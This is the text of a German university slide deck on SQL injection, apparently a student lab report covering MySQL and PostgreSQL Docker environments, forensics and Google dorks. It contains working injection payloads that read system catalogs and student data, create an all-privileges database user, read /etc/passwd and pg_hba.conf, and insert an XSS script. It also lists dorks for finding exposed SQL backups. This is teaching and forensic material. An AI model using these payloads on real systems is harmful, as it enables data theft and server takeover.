Datenbanken II: SQL-Injektion
von: Laura Templin Christian Knoop Sebastian Löbe
Themenschwerpunkte
- Häuser-Umgebung und Anpassungen (CK)
- Kemper Beispiele MySQL (LT)
- Forensische Auswertung innerhalb Häuser-Umgebung (CK)
- MySQL Best Of + Auswertung (SL)
- PostgreSQL Best Of + Auswertung (CK)
- Google Hacking (LT)
- Fazit (SL)
Häuser-Umgebung und Anpassungen
CK
Häuser-Umgebung und Anpassungen
- Häuser Umgebung - app.py:80- Adminer:8080- MySQL- PostgreSQL
CK
Häuser-Umgebung und AnpassungenCK
- Hense-VM vs.
→ eine VM→ gemeinsames Dateisystem → Webserver, Anwendung, DB
→ (+) leichter SQL-Injektion auszunutzen
→ (-) “einfaches” System
- Häuser-Umgebung
→ verschiedene Container→ kein gemeinsames Dateisystem → Anwendung, DB
→ (-) schwieriger alle SQL-Injektion auszunutzen
→ (+) architektonisch viel näher an realen Systemen
Häuser-Umgebung und AnpassungenCK
- Anpassungen:
→ Aktuelle Zeit ausgeben
→ Datenbankconnection PostgreSQL(isolation_level) → Schreiben in DB
→ HTML Escape im Rendering deaktivieren
→ Docker Compose Entrypoint PostgreSQLum Logging erweitern
Kemper-Beispiele MySQL
LT
Kemper-Beispiele MySQL >> Version auslesen
- z. T keine Unterstützung von stacked Queries unter MySQL -> UNION SELECT-Statement -> dafür Spaltenanzahl mittels ORDER BY oder über Fehlermeldungen
- finales Statement: sdsgdh' union select 1, 2, 3, @@version; --
LT
Kemper-Beispiele MySQL >> Ausspähen von Daten
- zum Ausspähen von Daten Systemkatalog infomation_schema unter MySQL nützlich
- wfehwfe’ UNION SELECT schema_name, 1, 2, 3 FROM information_schema.schemata
LT
Kemper-Beispiele MySQL >> Ausspähen von Daten
- sjhfkjshd' UNION SELECT TABLE_CATALOG, TABLE_NAME, TABLE_TYPE, TABLE_SCHEMA FROM information_schema.tables WHERE TABLE_SCHEMA = "kemper"; --
LT
Kemper-Beispiele MySQL >> Ausspähen von Daten
- sjhfkjshd' UNION SELECT TABLE_NAME, COLUMN_NAME, DATA_TYPE, COLUMN_TYPE FROM information_schema.columns WHERE TABLE_SCHEMA = "kemper" AND TABLE_NAME = "Assistenten"; --
LT
Kemper-Beispiele MySQL >> Ausspähen von Daten
- sjhfkjshd' UNION SELECT Name, MatrNr, Semester, 4 FROM kemper.Studenten; --
LT
Kemper-Beispiele MySQL >> Verändern von Daten
- '; CREATE DATABASE buch;--- '; CREATE TABLE `buch`.`cover`(`bild` VARCHAR(10)) ENGINE = MYISAM;
--- '; INSERT INTO `buch`.`cover` (`bild`)VALUES ('Hund'); --- für diese Datenbank und Tabelle nun UPDATE, DELETE, DROP möglich
LT
Kemper-Beispiele MySQL >> Verändern des DB-Servers
- Nutzer erstellen- umfassende Rechte notwendig- Mit welchem Nutzer aktuell angemeldet? -> ' UNION SELECT 1, 2, 3,
CURRENT_USER(); --- welche Privilegien? -> gffgfdfkld' UNION SELECT GRANTEE,
PRIVILEGE_TYPE, IS_GRANTABLE, TABLE_CATALOG FROM information_schema. user_privileges; --
LT
Kemper-Beispiele MySQL >> Verändern des DB-Servers
- '; CREATE USER 'new_user'@'%' IDENTIFIED BY 'test'; GRANT ALL PRIVILEGES ON *.* TO 'new_user'@'%'; FLUSH PRIVILEGES; --
LT
Kemper-Beispiele MySQL >> Verändern des DB-Servers
Zugriff auf das Dateisystem:
- ' UNION SELECT 1, 2, 3, LOAD_FILE('/etc/passwd'); -> NULL
- -> Anpassungen nötig
LT
Kemper-Beispiele MySQL >> Verändern des DB-Servers
- Systemvariable secure_file_priv darf nicht über Schlüsselwort NULL realisiert sein
- -> Anpassung der docker-compose.yaml
-
- -> Anpassungen nötig
LT
Kemper-Beispiele MySQL >> Verändern des DB-Servers
- - ' UNION SELECT 1, 2, 3, LOAD_FILE('/etc/passwd');-- erneut abgesetzt
LT
Kemper-Beispiele MySQL >> Code einschleusen
-- Durch Änderung der yaml-Datei auch Schreibzugriff realisierbar:
- über LOAD_FILE lesender Zugriff
LT
Kemper-Beispiele MySQL >> Code einschleusen
- Anwendung u. a. Mithilfe des flask-Moduls render_template()- Autoescaping standardmäßig aktiv- {% autoescape false %} Abhilfe
LT
Kemper-Beispiele MySQL >> Code einschleusen
- ‘; INSERT INTO Vorlesungen VALUES (1, ‘<script>alert("CSS!")</script>’, 3, 4); --
LT
Forensische Auswertung innerhalb der Häuser-Umgebung
CK
Forensische Auswertung innerhalb der Häuser-Umgebung
- System in Gänze betrachten, nicht nur das DBMS
- Angriff über Accesslog forensisch auswertbar, da alle Aufrufe über GET-Parameter erfolgten
- Wichtige Infos aus dem Accesslog:- IP-Adresse des Angreifers, Zeitstempel des Angriffs, GET-Request
inkl. SQL-Anweisung und die Schwachstelle (Ziel des Angriffs)
CK
Forensische Auswertung innerhalb der Häuser-Umgebung
- zeitliche Zuordnung des Angriffs & Einstiegsstelle wichtig zur Aufklärung
- Welche Informationen sind abgeflossen? - Kann der Angriff nachgestellt werden? - Wie ist der Angreifer ins System gelangt?
→ Nachstellung des Angriffs über die HTTP-Protokolle möglich→ Erkenntnis: Python App hat den Debug Modus aktiv→ Hilfreiche Informationen für den Angreifer
CK
MySQL Best Of + Auswertung
SL
MySQL Best Of + Auswertung
- Mein Schema ist eine Datenbank für die Einsatzplanung in der Bundeswehr
- Befehl / Fahrzeug / Kaserne / Offizier / Soldaten / Trupp / Übung- Anzeige der verschiedenen Übungen mit allen Bestandteilen auf der
Webseite- Ausgabe des Offiziersnamen anstatt seiner PersNr- Datenschutz
SL
MySQL Best Of + Auswertung
- SQL Befehl UNION SELECT kombiniert das Ergebnis von mehreren SELECT Aussagen in ein einziges Ergebnis Set
- Nutzung zur Abfrage von Daten in der Datenbank- Beachtung der Anzahl der Columns bei Ausgabe in Webseite
- INTO DUMPFILE ‘file’ als Zusatz zur Daten Einschleusung- MYSQL Befehl welcher im Handbuch hinterlegt ist- Besonderheit: Befehl muss in der letzten Column stehen
SL
MySQL Best Of + Auswertung
- Überraschung durch Abhängigkeiten zwischen Webseiten Ausgabe und SQL Befehl( Columns )
- Settings der Webseite / Anpassung- Installation der Umgebung - Betrieb der Docker VW
SL
MySQL Best Of + Auswertung
Auswertung der Angriffe durch:
- Log Files auf Server Umgebung- in MYSQL speziell Query Log (SQL-Befehle) und das Error Log- Anzeige in laufendem Docker Container - Tabellen der Datenbank wie z.B. Status, User, Events- Wireshark
SL
PostgreSQL Best Of + Auswertung
CK
PostgreSQL Best Of + Auswertung
- PostgreSQL war “leichter” als MySQL auszunutzen - PostgreSQL unterstützt stacked queries
CK
PostgreSQL
SELECT a, b FROM t WHERE a = ‘a’;SELECT hacki FROM hack; -- ‘
→ Happy Hacking! → Keine Einschränkungen
MySQL: vs.
SELECT a, b FROM t WHERE a = ‘a’ UNION SELECT c, d from hack; --’
→ Einschränkungen durch UNION SELECT
PostgreSQL Best Of + Auswertung
- alles ist aber in PostgreSQL nicht einfacher / besser
→ SQLAlchemy + PostgreSQL Limitierung:
- In einer Transaktion kann keine Datenbank erstellt werden 1
- Schreibender Zugriff war erst nach Anpassung der Anwendung möglich (isolation_level=”AUTOCOMMIT”) möglich
1) https://github.com/kvesteri/sqlalchemy-utils/issues/432
CK
PostgreSQL Best Of + Auswertung
- Beispiel: Datei auslesen
→ PostgreSQL benötigt “Helper-Table” für das Auslesen von Dateien
→ Workaround im eigenen Schemata “Dokumentenmanagement”→ CREATE TABLE Documents (DocumentId SERIAL PRIMARY KEY, Content TEXT NOT NULL);
'; COPY documents(content) from '/var/lib/postgresql/data/pg_hba.conf'; --
→ Datei zeilenweise eingelesen!
CK
PostgreSQL Best Of + Auswertung
- Forensische Auswertung von PostgreSQL in Docker
→ Container kann mit “log_statement=all” gestartet werden → Alle Angriffe sind nachvollziehbar
CK
→ ABER: “log_statement=all” in realen Umgebungen selten aktiv (Performance)
PostgreSQL Best Of + Auswertung
- Forensische Auswertung von PostgreSQL in Docker
→ “log_statement=ddl” (Data Definition Language) aktiv→ Ermöglicht die Erkennung von Datenbankserver Veränderungen
→ Auswertung von Log-Files im PostgreSQL Container nicht zielführend→ PostgreSQL Container folgt den Docker Best Practice→ Alle relevanten Ereignisse werden über STDOUT oder STDERR
an den Daemon (docker-compose) weitergeleitet
CK
PostgreSQL Best Of + Auswertung
- Forensische Auswertung von PostgreSQL in Docker
→ PostgreSQL interne Tabellen zur Auswertung bei aktiven Angriffen / Sessions:
SELECT pid, age(clock_timestamp(), query_start), usename, query FROM pg_stat_activity WHERE query != '<IDLE>' AND query NOT ILIKE '%pg_stat_activity%';
CK
Google Hacking
LT
Google Hacking
- Angriffe über die Google- Suchoperatoren und Suchbegriffe (Google Dorks)- Sicherheitslücken auffindbar, z. B. Zugangsdaten, direkten Zugriff auf
Datenbanksysteme- Operatoren über Formular oder Suchleiste
Beispiele:
- intitle:"index of" „/etc/mysql/"- intext:backup.sql intitle:index.of
LT
Fazit
- SQL-Injektion weit verbreitete & effektive Form von Cyberangriffen- OWASP Top 10 #1 seit 10 Jahren- Effektivität von SQL-Injektion je nach Architektur unterschiedlich- SQL-Injektion sehr wandlungsfähig (Hense-BT / Häuser-Umgebung)
→ Relevant auch noch heute!
SL
Wir bedanken uns für die Aufmerksamkeit!
von: Laura Templin
Christian Knoop
Sebastian Löbe
Quellen:
- Hausarbeit von Laura Templin, Christian Knoop und Sebastian Löbe
Top Related